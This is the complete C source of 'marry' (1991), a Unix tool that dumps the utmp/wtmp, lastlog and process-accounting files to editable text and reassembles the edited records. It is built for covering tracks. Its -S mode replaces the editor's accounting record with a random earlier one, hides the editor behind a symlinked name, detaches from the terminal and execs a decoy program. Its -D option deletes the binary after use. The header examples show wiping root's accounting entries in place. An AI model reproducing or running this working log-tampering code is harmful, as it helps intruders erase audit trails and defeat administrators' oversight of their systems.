/* marry v1.1 (c) 1991 -- Proff -- proff@suburbia.apana.org.au,
 * All rights reserved.
 *
 * May there be peace in the world, and objectivity amoung men.
 *
 * You may not use this program for unethical purposes. 
 *
 * You may not use this program in relation to your employment, or for monetary
 * gain without express permission from the author.
 *
 * usage:  
 *   marry [-aetsuScDn] [-i src] [-o obj] [-d dump] [-p pat] [-v pat] [-m [WLA]]
 *         [-E editor] [-h program] [-b backup ]
 *
 *   -a		automode, dump, run editor over dump and re-assemble to object
 *   -e		edit source, assemble directly to input file, imples no insertion
 *              of records before an equal quantity of deltion
 *   -t		truncate object to last line of dump source when assembling
 *   -s		squeeze, delete all record in input not occuring in dump
 *              (higher entries in input will be appended unless -t is also 
 *              specified)
 *   -u 	when in [L]astlog mode do user-id -> name lookups (time consuming)
 *   -S		Security, when in [A]cct and -[a]uto mode replace editor's acct
 *              record with an unmodified random previous entry, detach from 
 *              terminal, SIGKILL ourselves or execlp [-h program] to hide our
 *              acct record (marry should be exec'ed under these circumstances)
 *   -c		clean, delete backup and dump files once complete
 *   -D		Delete our self once complete (i.e argv[0])
 *   -n		no backups, don't make backups when in -e, -a modes or when
 *              -i file == -o file
 *   -i src	input, the utmp, wtmp, lastlog or p/acct file concerned. defaults
 *              to the system wtmp/lastlog/pacct depending on mode if not specified
 *   -o obj     output, the dump assembled and input merged version of the
 *              above. if given and not in -[a]uto mode, implies we are 
 *              assembling, not dumping. 
 *   -d dump	dump, the dump (editable representation of src) file name. this
 *              is is either an input (-o specified) an output (no -o) or both
 *              -[a]uto. defaults to "marry.dmp" in the current directory if not
 *              specified
 *   -p pat     pattern match. When disassembling (dumping), only extract records
 *              which match (checked against all string fields, and the uid if
 *              the pattern is a valid username)
 *   -v pat	inverse pattern match. like egrep -v. above non-logic features.
 *   -m mode	mode is one of:
 *
 *			W  -  utmp/wtmp (or utmpx/wtmpx see UTMPX #define)
 *                      L  -  lastlog
 *                      A  -  acct/pacct
 *  
 *   -E editor	editor to be used in -[a]uto mode. defaults to /usr/bin/vi. must
 *              be the full path in -[S]ecurity mode (we do some clever
 *              symlinking)
 *   -h program hide, if -S mode is on, then attempt to conceal our acct entry by
 *              execlp'ing the specified program. this seems to work on BSD derived
 *              systems. with others, your might want to just call marry something
 *              innocous.
 *   -b backup  name of backup file, defaults to "marry.bak"
 * 
 *   the following instruction codes can be placed in position one of the dump
 *   lines to be assembled (e.g "0057a" -> "=057a"):
 *
 *   '='	tag modification of entry. 
 *   '+'	tag insertion of entry
 *
 * Examples:
 *
 * $ marry -mW -i /etc/utmp -s -a	# dump, edit, re-assemble and strip deleted
 *                                      # entries from utmp
 *  
 * $ marry -mL -u -a -n -e	        # dump lastlog with usernames, edit, make no
 *                                      # backups and re-assemble in-situ directly to
 *                                      # lastlog
 *
 * $ marry -mW -a -p mil -E emacs	# dump all wtmp entries matching "mil", edit
 *                                      # with emacs, re-assemble and re-write to wtmp
 *
 * $ exec marry -mA -SceD 		# dump all acct entries by root, edit, remove
 *     -h /usr/sbin/in.fingerd          # editor's acct record, re-assemble directly
 *     -p root -a -i /var/account/acct  # to acct in-situ, delete backup and dump file,
 *                                      # delete ourself from the disk, unassign our
 *                                      # controling terminal, and lastly overlay our
 *                                      # self (and thus our to be acct record) with
 *                                      # in.fingerd
 */

#define UTMP
#undef UTMPX /* solaris has both */
#define LASTLOG
#define PACCT

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <fcntl.h>
#include <signal.h>
#include <pwd.h>
#include <grp.h>
#include <errno.h>

#ifdef __SVR3
#  include <getopts.h>
#endif
#ifndef bsd
#  if defined(__NetBSD__) || defined(bsdi) || defined(BSDI) || defined(__386BSD__)
#    define bsd
#  endif
#endif

#if !defined(gcc)
#  define NO_VOID /* non gcc, early compiliers */
#endif

#ifndef __SVR3
extern char *optarg; 
#endif

#ifdef NO_VOID
#  define VOID int
#  define FVOID
#else 
#  define VOID void
#  define FVOID void
#endif

#ifndef bool 
#  define bool char
#endif

#define match(a,b) (match_s((a), (b), sizeof(a)))

#ifdef UTMP
#ifdef UTMPX
#  include <utmpx.h>
#  define S_UTMP utmpx
#  define UT_HOST ut_host
#  define UT_ID ut_id
#  define UT_TYPE ut_type
#  define UT_PID ut_pid
#  define UT_TV ut_tv
#  ifdef _PATH_WTMPX
#    define WTMP_FILE _PATH_WTMPX
#  else
#    ifdef WTMPX_FILE
#      define WTMP_FILE WTMPX_FILE
#    else
#      define WTMP_FILE "/usr/adm/wtmpx"
#    endif
#  endif
#else
#  include <utmp.h>
#  define S_UTMP utmp
#  ifndef WTMP_FILE
#    ifdef _PATH_WTMP
#      define WTMP_FILE _PATH_WTMP
#    else
#      define WTMP_FILE "/usr/adm/wtmp"
#    endif
#  endif
#  if !defined(ut_name) && !defined(ut_user)
#    define ut_user ut_name
#  endif
#  if defined(linux) || defined(bsd) || defined(sun)
#    define UT_HOST ut_host
#  endif
#  ifdef linux
#    define UT_ADDR ut_addr
#  endif
#  define UT_TIME ut_time
#  if defined(linux) || defined(solaris)
#    define UT_PID  ut_pid
#    define UT_ID   ut_id
#  endif
#  if defined(linux) || defined(solaris) || defined(sysv) || defined(SYSV) || defined(SVR4)
#    define UT_TYPE ut_type
#  endif
#endif
#endif

#ifdef LASTLOG
#  ifdef bsd
#    ifndef UTMP
#      include <utmp.h>
#    endif
#  else
#    include <lastlog.h>
#  endif
#  ifndef LASTLOG_FILE
#    ifdef _PATH_LASTLOG
#      define LASTLOG_FILE _PATH_LASTLOG
#    else
#      define LASTLOG_FILE "/usr/adm/lastlog"
#    endif
#  endif
#  define LL_HOST ll_host
#endif

#ifdef PACCT
#  include <sys/acct.h>
#  ifdef bsd
#    define PACCT_FILE "/var/account/acct"
#  else
#    define PACCT_FILE "/usr/adm/pacct"
#  endif
#endif

#ifdef UT_ADDR
#  include <arpa/inet.h>
#endif

FILE *ofh, *ifh, *afh;

#ifdef UTMP
struct S_UTMP s_utmp;
#endif
#ifdef LASTLOG
struct lastlog s_lastlog;
#endif
#ifdef PACCT
struct acct s_acct;
struct acct ac_saved;
int acct_step;
#endif
char ac_comm_hide[32];

struct passwd *uid;
struct passwd uid_s;
char **uida=NULL;
char **gida=NULL;

#define MAX_UID 65537

char *quotes="\"\"";

int globline=0;

char *a_Input=NULL;
char *a_Output=NULL;
char *a_Pattern=NULL;
char *a_Hide=NULL;
#ifdef sun
char *a_Editor="/usr/ucb/vi";
#else
char *a_Editor="/usr/bin/vi";
#endif
char *a_Dump="marry.dmp";
char *a_Backup="marry.bak";
bool f_Auto=0;
bool f_Squeeze=0;
bool f_EditSrc=0;
bool f_Truncate=0;
bool f_Exclude=0;
bool f_Uid=0;
bool f_Security=0;
bool f_Clean=0;
bool f_DeleteSelf=0;
bool f_NoBackups=0;
bool f_backedup;
char mode;

int mode_size=0;
void *mode_data;

int globline;
char *mes;
time_t otime=0;
FVOID display()
{
static int n;
time_t t;
	globline++;
	if (n++<30) return; /* don't want too many context switches */
	n=0;
	time(&t);
	if (t<(otime+1)) return;
	otime=t;
	printf("%s%d\r", mes, globline);
	fflush(stdout);
}
FVOID display_end()
{
	printf("%s%d\n", mes, globline);
	fflush(stdout);
}

#ifdef NO_VOID
char
#else
void
#endif
*
Smalloc(n)
int n;
{
#ifdef NO_VOID
char
#else
void
#endif
* p;
	while (!(p=malloc(n))) sleep(1);
	return p;
}

bool copyf(src, dst)
char *src;
char *dst;
{
#define CBUFLEN 128*1024
int fi, fo;
char *buf;
int cc;
	if ((fi=open(src, O_RDONLY, 0))<0)
	{
		perror(src);
		exit(1);
	}
	if ((fo=open(dst, O_WRONLY|O_CREAT|O_TRUNC, 0666))<0)
	{
		perror(dst);
		exit(1);
	}
	buf=Smalloc(CBUFLEN);
	while ((cc=read(fi, buf, CBUFLEN))>0)
		if (write(fo, buf, cc)!=cc)
		{
			perror(dst);
			exit(1);
		}
	close(fo);
	close(fi);
	free(buf);
	return 1;
}

bool backup(src)
char *src;
{
	printf("backup = %s\n", a_Backup);
	fflush(stdout);
	return copyf(src, a_Backup);
}

char *match_s(haystack, needle, n)
char *haystack;
char *needle;
int n;
{
static char tmp[256];
	strncpy(tmp, haystack, n>sizeof(tmp)? sizeof(tmp): n);
	return strstr(tmp, needle);
}

unsigned short atoi2(s)
char *s;
{
	return (s[0]-'0')*10+(s[1]-'0');
}

char *p_string(s, size)
char *s;
int size;
{
static char sss[1024];
register int n;
char *ss=sss;
	if (!*s) return quotes;
	
	for (n=0; n<size; n++)
	{
		char c=s[n];
		switch (c)
		{
		case '\\':
			*(ss++)=c;
			break;
		case ' ':
			*(ss++)='\\';
			break;
		case '\t':
			*(ss++)='\\';
			c='t';
			break;
		case '\n':
			*(ss++)='\\';
			c='n';
			break;
		case '\r':
			*(ss++)='\\';
			c='r';
			break;
		case 0:
			goto end;
		}
		*(ss++)=c;
	}
end:
	*ss=0;
	return sss;
}

char *skip_white(s)
char *s;
{	for (; *s && (*s=='\t' || *s==' '); s++);
	if (!*s || (*s=='\n')) return NULL;
	return s;
}

char *g_string(d, s, size)
char *d;
char *s;
int size;
{
int y;
char c;
char f_esc=0;
	for (y=0; y<size; y++) d[y]=0;
	if (!(s=skip_white(s))) return NULL;
	if (*s=='"' && *(s+1)=='"') return s+2;
	for (y=0; y<size; s++)
	{
		c=*s;
		if (f_esc)
		{
			switch(c)
			{
			case 'r':
				c='\r';
				break;
			case 'n':
				c='\n';
				break;
			case 't':
				c='\t';
				break;
			}
			f_esc=0;
		} else {
			switch(c)
			{
			case '\\':
				f_esc=1;
				continue;
			case ' ':
			case '\t':
			case '\n':
			case '\0':
				goto end;
			}
		}
		d[y++]=c;
	}
end:
	return s+1;
}

char *time_s(tt)
time_t tt;
{
static char s[13];
	time_t t=tt; /* some compilers won't take a parameter address */
	struct tm *tp;
	tp=localtime(&t);
	sprintf(s, "%02d%02d%02d%02d%02d%02d",
		tp->tm_year, tp->tm_mon+1, tp->tm_mday,
		tp->tm_hour, tp->tm_min, tp->tm_sec);
	return s;
}
 
time_t time_i(s)
char *s;
{
	struct tm lt;
	time_t t;
	if (strlen(s)!=12) return (time_t)-1;
	time(&t);
	lt=*localtime(&t);
	lt.tm_year=atoi2(s);
	lt.tm_mon=atoi2(s+2)-1;
	lt.tm_mday=atoi2(s+4);
	lt.tm_hour=atoi2(s+6);
	lt.tm_min=atoi2(s+8);
	lt.tm_sec=atoi2(s+10);
	lt.tm_isdst=-1;
	return mktime(&lt);
}

char *
bgetgrgid(u)
gid_t u;
{
struct group *gr;
	if (!gida)
	{
		int n;
		gida=(char **)Smalloc(sizeof(char *)*MAX_UID);
		for (n=0; n<MAX_UID; n++) gida[n]=NULL; 
	}
	if (gida[u]==(char *)-1) return NULL;
	if (gida[u]) return gida[u];
	if (!(gr=getgrgid(u))) 
	{
		gida[u]=(char *)-1;
		return NULL;
	}
	gida[u]=Smalloc(strlen(gr->gr_name)+1);
	strcpy(gida[u], gr->gr_name);
	return gida[u];
}

char *
bgetpwuid(u)
uid_t u;
{
struct passwd *pw;
	if (!uida)
	{
		int n;
		uida=(char **)Smalloc(sizeof(struct passwd *)*MAX_UID);
		for (n=0; n<MAX_UID; n++) uida[n]=NULL; 
	}
	if (uida[u]==(char *)-1) return NULL;
	if (uida[u]) return uida[u];
	if (!(pw=getpwuid(u))) 
	{
		uida[u]=(char *)-1;
		return NULL;
	}
	uida[u]=Smalloc(strlen(pw->pw_name)+1);
	strcpy(uida[u], pw->pw_name);
	return uida[u];
}

#ifdef UTMP
bool dump_utmp(uline, ut)
int uline;
struct S_UTMP *ut;
{
	time_t tim;
	if (a_Pattern)
	{
		if (!match(ut->ut_user, a_Pattern) &&
		    !match(ut->ut_line, a_Pattern)
#ifdef UT_HOST
		    && !match(ut->UT_HOST, a_Pattern)
#endif
			) {if (!f_Exclude) return 1;}
		else if (f_Exclude) return 1;
	 }
	fprintf(afh, "%05x", uline-1);
	fprintf(afh, " %-8s", p_string(ut->ut_user, sizeof(ut->ut_user)));
	fprintf(afh, " %-11s", p_string(ut->ut_line, sizeof(ut->ut_line)));
#ifdef UT_ID
	fprintf(afh, " %-4s", p_string(ut->UT_ID, sizeof(ut->UT_ID)));
#endif
#ifdef UT_TYPE
	fprintf(afh, " %-2x", ut->UT_TYPE);
#endif
#ifdef UT_PID
	fprintf(afh, " %-5d", (int)ut->UT_PID);
#endif
#if defined(UT_TIME) || defined (UT_TV)
#  ifdef UT_TIME
	tim=ut->UT_TIME;
#  else
	tim=ut->UT_TV.tv_sec;
#  endif
	fprintf(afh, " %s", time_s(tim));
#endif
#ifdef UT_ADDR
	fprintf(afh, " %-15s", inet_ntoa(*((struct in_addr *)&ut->UT_ADDR)));
#endif
#ifdef UT_HOST
	fprintf(afh, " %s", p_string(ut->UT_HOST, sizeof(ut->UT_HOST)));
#endif
	fputc('\n', afh);
	return 1;
}
#endif

#ifdef LASTLOG
bool dump_lastlog(uline, ll)
int uline;
struct lastlog *ll;
{
	char *name;
	struct passwd *pw;
	if (f_Uid) 
	{
		pw=getpwuid(uline-1);
		name=pw? pw->pw_name: quotes;
	} else
	{
	  static char s[6];
	  	sprintf(s, "%05d", uline-1);
		name=s;
	}
	if (a_Pattern)
	{
		if (
		    (!uid || (uid->pw_uid!=(uline-1))) &&
		    (!f_Uid || strstr(name, a_Pattern)) &&
#ifdef LL_HOST
		    !match(ll->ll_host, a_Pattern) &&
#endif
		    !match(ll->ll_line, a_Pattern)
			) {if (!f_Exclude) return 1;}
		else if (f_Exclude) return 1;
	 }
	fprintf(afh, "%05x", uline-1);
	fprintf(afh, " %-8s", name);
	fprintf(afh, " %-11s", p_string(ll->ll_line, sizeof(ll->ll_line)));
	fprintf(afh, " %s", time_s(ll->ll_time));
#ifdef LL_HOST
	fprintf(afh, " %s", p_string(ll->LL_HOST, sizeof(ll->LL_HOST)));
#endif
	fputc('\n', afh);
	return 1;
}
#endif

#ifdef PACCT
bool dump_pacct(uline, ac)
int uline;
struct acct *ac;
{
	char *name;
	char *gr_name;
	if (!(name=bgetpwuid(ac->ac_uid)))
	{
	  static char s[6];
	  	sprintf(s, "%05d", ac->ac_uid);
		name=s;
	}
	if (!(gr_name=bgetgrgid(ac->ac_gid)))
	{
	  static char s[6];
	  	sprintf(s, "%05d", ac->ac_gid);
		gr_name=s;
	}
	if (a_Pattern)
	{
		if (
		    (!uid || (uid->pw_uid!=ac->ac_uid)) &&
		    (strstr(name, a_Pattern)) &&
		    (strstr(gr_name, a_Pattern))
			) {if (!f_Exclude) return 1;}
		else if (f_Exclude) return 1;
	}
	fprintf(afh, "%05x", uline-1);
	fprintf(afh, " %-8s", name);
	fprintf(afh, " %-8s", gr_name);
	fprintf(afh, " %-10s", p_string(ac->ac_comm, sizeof(ac->ac_comm)));
	if (ac->ac_tty==(dev_t)-1)
		fputs(" ----", afh);
	else
		fprintf(afh, " %04x", ac->ac_tty);
	fprintf(afh, " %2x", ac->ac_flag);
	fprintf(afh, " %s", time_s(ac->ac_btime));
	fputc('\n', afh);
	return 1;
}
#endif

FVOID makedump()
{
int uline;
	if ((ifh=fopen(a_Input, "r"))==NULL)
	{
		perror(a_Input);
		exit(1);
	}
	if ((afh=fopen(a_Dump, "w"))==NULL)
	{
		perror(a_Dump);
		exit(1);
	}
	fputc('\n', stdout);
	globline=0;
	mes="entries disassembled: ";
	for (uline=1; fread(mode_data, mode_size, 1, ifh)>0; uline++)
	{
		display();
		switch(mode)
		{
#ifdef UTMP
		case 'W':
			dump_utmp(uline, mode_data);
			break;
#endif
#ifdef LASTLOG
		case 'L':
			dump_lastlog(uline, mode_data);
			break;
#endif
#ifdef PACCT
		case 'A':
			dump_pacct(uline, mode_data);
			break;
#endif
		}
	}
	display_end();
	fclose(afh);
	fclose(ifh);
}

int seek_ifh(uline)
int uline;
{
	if (ftell(ifh)!=mode_size*(uline-1))
		if (fseek(ifh, mode_size*(uline-1), SEEK_SET)==-1)
			return 0;
	return 1;
}

#ifdef UTMP
int mod_utmp(ut, p)
struct S_UTMP *ut;
char *p;
{
	char *op;
static char tmp[255];
#if defined(UT_TIME) || defined(UT_TV)
#endif
	op=p;
	if (!(p=g_string(tmp, p, sizeof(tmp)))) return 0;
	if (!(p=g_string(ut->ut_user, p, sizeof(ut->ut_user)))) return 0;
	if (!(p=g_string(ut->ut_line, p, sizeof(ut->ut_line)))) return 0;
#ifdef UT_ID
	if (!(p=g_string(ut->UT_ID, p, sizeof(ut->UT_ID)))) return 0;
#endif
#ifdef UT_TYPE
	if (!(p=g_string(tmp, p, sizeof(tmp)))) return 0;
	sscanf(tmp, "%x", (unsigned int *)&(ut->UT_TYPE));
#endif
#ifdef UT_PID
	if (!(p=g_string(tmp, p, sizeof(tmp)))) return 0;
	ut->UT_PID=atoi(tmp);
#endif
#if defined(UT_TIME) || defined(UT_TV)
	if (!(p=g_string(tmp, p, sizeof(tmp)))) return 0;
#  ifdef UT_TIME
	if ((ut->UT_TIME=time_i(tmp))==(time_t)-1)
#  else /* UT_TV */
	if ((ut->UT_TV.tv_sec=time_i(tmp))==(time_t)-1)
#  endif
		fprintf(stderr, "warning: invalid time spec %s", op);
#endif
#ifdef UT_ADDR
	if (!(p=g_string(tmp, p, sizeof(tmp)))) return 0;
	ut->UT_ADDR=inet_addr(tmp);
#endif
#ifdef UT_HOST
	if (!(p=g_string(ut->UT_HOST, p, sizeof(ut->UT_HOST)))) return 0;
#endif
	return 1;
}
#endif

#ifdef LASTLOG
int mod_lastlog(ll, p)
struct lastlog *ll;
char *p;
{
	char *op;
static char tmp[255];
	op=p;
	if (!(p=g_string(tmp, p, sizeof(tmp)))) return 0; 
	if (!(p=g_string(tmp, p, sizeof(tmp)))) return 0; /*skip name*/
	if (!(p=g_string(ll->ll_line, p, sizeof(ll->ll_line)))) return 0;
	if (!(p=g_string(tmp, p, sizeof(tmp)))) return 0;
	if ((ll->ll_time=time_i(tmp))==(time_t)-1)
		fprintf(stderr, "warning illegal time: %s\n", op);
#ifdef LL_HOST
	if (!(p=g_string(ll->ll_host, p, sizeof(ll->ll_host)))) return 0;
#endif
	return 1;
}
#endif

#ifdef PACCT
int mod_pacct(ac, p)
struct acct *ac;
char *p;
{
static char tmp[255];
struct passwd *pw;
struct group *gr;
char *op;
long int t;
unsigned int tu;
	op=p;
	if (!(p=g_string(tmp, p, sizeof(tmp)))) return 0; 
	if (!(p=g_string(tmp, p, sizeof(tmp)))) return 0; 
	if (sscanf(tmp, "%ld", &t)!=1)
	{
		if (!(pw=getpwnam(tmp)))
			fprintf(stderr, "warning: unknown username %s\n", op);
		else
			ac->ac_uid=pw->pw_uid;
	} else ac->ac_uid=t;
	if (!(p=g_string(tmp, p, sizeof(tmp)))) return 0; 
	if (sscanf(tmp, "%ld", &t)!=1)
	{
		if (!(gr=getgrnam(tmp)))
			fprintf(stderr, "warning: unknown group %s\n", op);
		else
			ac->ac_gid=pw->pw_gid;
	} else ac->ac_gid=t;
	if (!(p=g_string(ac->ac_comm, p, sizeof(ac->ac_comm)))) return 0;
	if (!(p=g_string(tmp, p, sizeof(tmp)))) return 0;
	if (sscanf(tmp, "%x", &tu)!=1) ac->ac_tty=(dev_t)-1;
	else ac->ac_tty=tu;
	if (!(p=g_string(tmp, p, sizeof(tmp)))) return 0;
	if (sscanf(tmp, "%x", &tu)!=1)
		fprintf(stderr, "warning: invalid flags %s\n", op);
	else ac->ac_flag=tu;
	if (!(p=g_string(tmp, p, sizeof(tmp)))) return 0;
	if ((ac->ac_btime=time_i(tmp))==(time_t)-1)
		fprintf(stderr, "warning: illegal time: %s\n", op);
	return 1;
}
#endif

bool wcopy(uline)
int uline;
{
	if (!seek_ifh(uline)) return 0;
	while (fread(mode_data, mode_size, 1, ifh)>0)
	{
		display();
#ifdef PACCT
		if (f_Security && f_Auto && mode=='A')
		{
			struct acct *p; 
			p=(struct acct *)mode_data;
			if (!strncmp(p->ac_comm, ac_comm_hide, sizeof(ac_comm_hide)))
			{
				ac_saved.ac_btime=p->ac_btime;
				*p=ac_saved;
			}
		}
#endif
		if (fwrite(mode_data, mode_size, 1, ofh)<1) return 0;
	}
#ifndef NO_FTRUNCATE
	if (f_Squeeze && f_EditSrc) ftruncate(fileno(ofh), ftell(ofh));
#endif
	return 1;
}

bool domod(p)
char *p;
{
bool ret=0;
	if (fread(mode_data, mode_size, 1, ifh)<1) return 0;
	switch(mode)
	{
#ifdef UTMP
	case 'W':
		ret=mod_utmp(mode_data, p);
		break;
#endif
#ifdef LASTLOG
	case 'L':
		ret=mod_lastlog(mode_data, p);
		break;
#endif
#ifdef PACCT
	case 'A':
		ret=mod_pacct(mode_data, p);
		break;
#endif
	}
	if (!ret)
		fprintf(stderr, "warning: invalid dump input `%s'\n", p);
	return 1;
}

static wu_line=0;

int obj_update(uline, p, f_mod)
int uline;
char *p;
char f_mod;
{
	if (f_Squeeze)
	{
		display();
		seek_ifh(uline);
		if (f_mod) {if (!domod(p)) return 0;}
		else if (fread(mode_data, mode_size, 1, ifh)<1) return 0;
		if (fwrite(mode_data, mode_size, 1, ofh)<1) return 0;
	} else {
		if (f_EditSrc)
		{
			if (f_mod)
				fseek(ofh, mode_size*(uline-1), SEEK_SET);
		} else {
			while(++wu_line<uline)
			{
				display();
				if (fread(mode_data, mode_size, 1, ifh)<1) return 0;
				if (fwrite(mode_data, mode_size, 1, ofh)<1) return 0;
			}
		}
		if (f_mod)
		{
			seek_ifh(uline);
			if (!domod(p)) return 0;
			if (f_mod==2) wu_line--; 
		} else if (fread(mode_data, mode_size, 1, ifh)<1) return 0;
		if (fwrite(mode_data, mode_size, 1, ofh)<1) return 0;
		display();
	}
#ifdef PACCT
	if (f_Security && f_Auto && !f_mod && mode=='A')
		if (!uline%acct_step) ac_saved=*(struct acct *)mode_data;
#endif
	return 1;
}

FVOID makeobject()
{
int uline=1;
char line[1024];
char *p;
char f_mod;
	if ((ifh=fopen(a_Input, "r"))==NULL)
	{
		perror(a_Input);
		exit(1);
	}
	if ((afh=fopen(a_Dump, "r"))==NULL)
	{
		perror(a_Dump);
		exit(1);
	}
	if ((ofh=fopen(a_Output, f_EditSrc? "r+": "w"))==NULL)
	{
		perror(a_Output);
		exit(1);
	}
#ifdef PACCT
	if (f_Security && f_Auto && mode=='A')
		acct_step=(getpid()+8)%60;
#endif
	fputc('\n', stdout);
	globline=0;
	mes="entries assembled: ";
	while (1)
	{
		if (!fgets((p=line), sizeof(line), afh)) 
		{
			if (f_EditSrc)
			{
#ifndef NO_FTRUNCATE
				if (f_Truncate)
				{
					fflush(ofh);
					ftruncate(fileno(ofh), uline*mode_size);
				}
#endif
				goto closeup;
			}
			if (!f_Truncate) wcopy(uline+1);
			goto closeup;
		}
		switch (*p)
		{
		case 0:
		case '#':
		case '\n':
			continue;
		case '=': 
			f_mod=1; 
			p++; 
			break;
		case '+':
			if (f_EditSrc)
			{
				if (f_Squeeze)
					fprintf(stderr, "warning: the + operator can have \
unpredictable effects when used in conbination with -e and -s\n");
				else
				{
					fprintf(stderr, "error: + operator used with -e\n");
					exit(1);
				}
			}
			f_mod=2;
			p++;
			break;
		default: {f_mod=0; break;}
		}
		if (sscanf(p, "%x", &uline)!=1)
		{
			perror("invalid line number in ascii input");
			exit(1);
		}
		uline++;
		if (!obj_update(uline, p, f_mod))
 		{
			perror("read/write failed");
			exit(1);
		}
	}
closeup:
	display_end();
	fclose(ofh);
	fclose(ifh);
	fclose(afh);
}

FVOID usage(s)
char *s;
{
	fprintf(stderr, "usage: %s\t[-aetsuScDn] [-i src] [-o obj] [-d dump] [-p pat] [-v pat] [-m [WLA]]\n\
\t\t[-E editor] [-h program]\n", s);
	exit(1);
}

int main(argc, argv)
int argc;
char **argv;
{
	char *ed;
	char c;
#ifdef PACCT
	mode='A';
#endif
#ifdef LASTLOG
	mode='L';
#endif
#ifdef UTMP
	mode='W';
#endif

	puts("marry v1.0 (c) 1991 -- Proff -- All rights reserved.");
	umask(022);
	while ((c=getopt(argc, argv, "i:o:d:aetsp:v:m:uScDnE:h:b:"))!=-1)
	switch(c)
	{
		case 'i':
			a_Input=optarg;
			break;
		case 'o':
			a_Output=optarg;
			break;
		case 'd':
			a_Dump=optarg;
			break;
		case 'a':
			f_Auto=1;
			break;
		case 'e':
			f_EditSrc=1;
			break;
		case 't':
			f_Truncate=1;
			break;
		case 's':
			f_Squeeze=1;
			break;
		case 'p':
			a_Pattern=optarg;
			break;
		case 'v':
			f_Exclude=1;
			a_Pattern=optarg;
			break;
		case 'm':
			mode=*optarg;
			break;
		case 'u':
			f_Uid=1;
			break;
		case 'S':
			f_Security=1;
			break;
		case 'c':
			f_Clean=1;
			break;
		case 'D':
			f_DeleteSelf=1;
			break;
		case 'n':
			f_NoBackups=1;
			break;
		case 'E':
			a_Editor=optarg;
			break;
		case 'h':
			a_Hide=optarg;
			break;
		case 'b':
			a_Backup=optarg;
			break;
		case '?':
		default:
			fprintf(stderr, "%s: unknown option `%c'\n", argv[0], c);
			usage(argv[0]);
			/* NOT_REACHED */
	}
	if (a_Output && f_EditSrc)
	{
		perror("can't have -o and -e together");
		exit(1);
	}
	switch(mode)
	{
#ifdef UTMP
	case 'W':
		mode_size=sizeof(struct S_UTMP);
		mode_data=&s_utmp;
		if (!a_Input) a_Input=WTMP_FILE;
		break;
#endif
#ifdef LASTLOG
	case 'L':
		mode_size=sizeof(struct lastlog);
		mode_data=&s_lastlog;
		if (!a_Input) a_Input=LASTLOG_FILE;
		break;
#endif
#ifdef PACCT
	case 'A':
		mode_size=sizeof(struct acct);
		mode_data=&s_acct;
		if (!a_Input) a_Input=PACCT_FILE;
		break;
#endif
        default:
		fprintf(stderr, "unknown mode `%c'\n", mode);
		usage();
		/*NOT_REACHED*/
	}
	if (a_Pattern) uid=getpwnam(a_Pattern);
	if (uid) {uid_s=*uid; uid=&uid_s;}
	if (f_Auto)
	{
	struct stat st1, st2;
	int pid;
	int ws;
		if (stat(a_Editor, &st1))
		{
			fprintf(stderr, "error: editor `%s' must exist with -a (check -E value)\n", a_Editor);
			exit(1);
		}
		makedump();
		if (f_Security)
		{
			sprintf(ac_comm_hide, "m%d", getpid());
			symlink(a_Editor, ac_comm_hide);
			ed=ac_comm_hide;
		} else  ed=a_Editor;

		stat(a_Dump, &st1);
		if (!(pid=fork()))
		{
			printf("%s %s\n", ed, a_Dump);
			fflush(stdout);
			execlp(ed, ed, a_Dump, 0);
			perror(ed);
			_exit(1);
		}
		if (pid<0)
		{
			perror("fork");
			exit(1);
		}
		while (wait(&ws)!=pid);
		if (f_Security)
			unlink(ac_comm_hide);
		stat(a_Dump, &st2);
		if (st1.st_mtime==st2.st_mtime)
		{
			fprintf(stderr, "`%s' not modified -- aborted\n", a_Dump);
			exit(1);
		}
		if (!a_Output || !strcmp(a_Input, a_Output))
		{
			backup(a_Input);
			f_backedup=1;
			if (!a_Output) a_Output=a_Input;
			if (!f_EditSrc)
				a_Input=a_Backup;
		}
		makeobject();
		if (f_Clean)
			unlink(a_Dump);
		if ((f_Clean || f_NoBackups) && f_backedup) unlink(a_Backup);
	}
	else if (a_Output)
		{
			if (!strcmp(a_Input, a_Output))
			{
				backup(a_Input);
				f_backedup=1;
				if (!f_EditSrc)
					a_Input=a_Backup;
			}
			makeobject();
			if (f_Clean)
				unlink(a_Dump);
			if ((f_Clean || f_NoBackups) && f_backedup) unlink(a_Backup);
		} else
			makedump();
	if (f_DeleteSelf) unlink(argv[0]);
	puts("Done.");
	if (f_Security)
	{
		close(0);
		close(1);
		close(2);
		setsid();
		if (a_Hide)
		{
			execlp(a_Hide, a_Hide, 0);
			perror(a_Hide);
		}
		if (f_Security)
			kill(getpid(), SIGKILL);
	}
	exit(0);
}
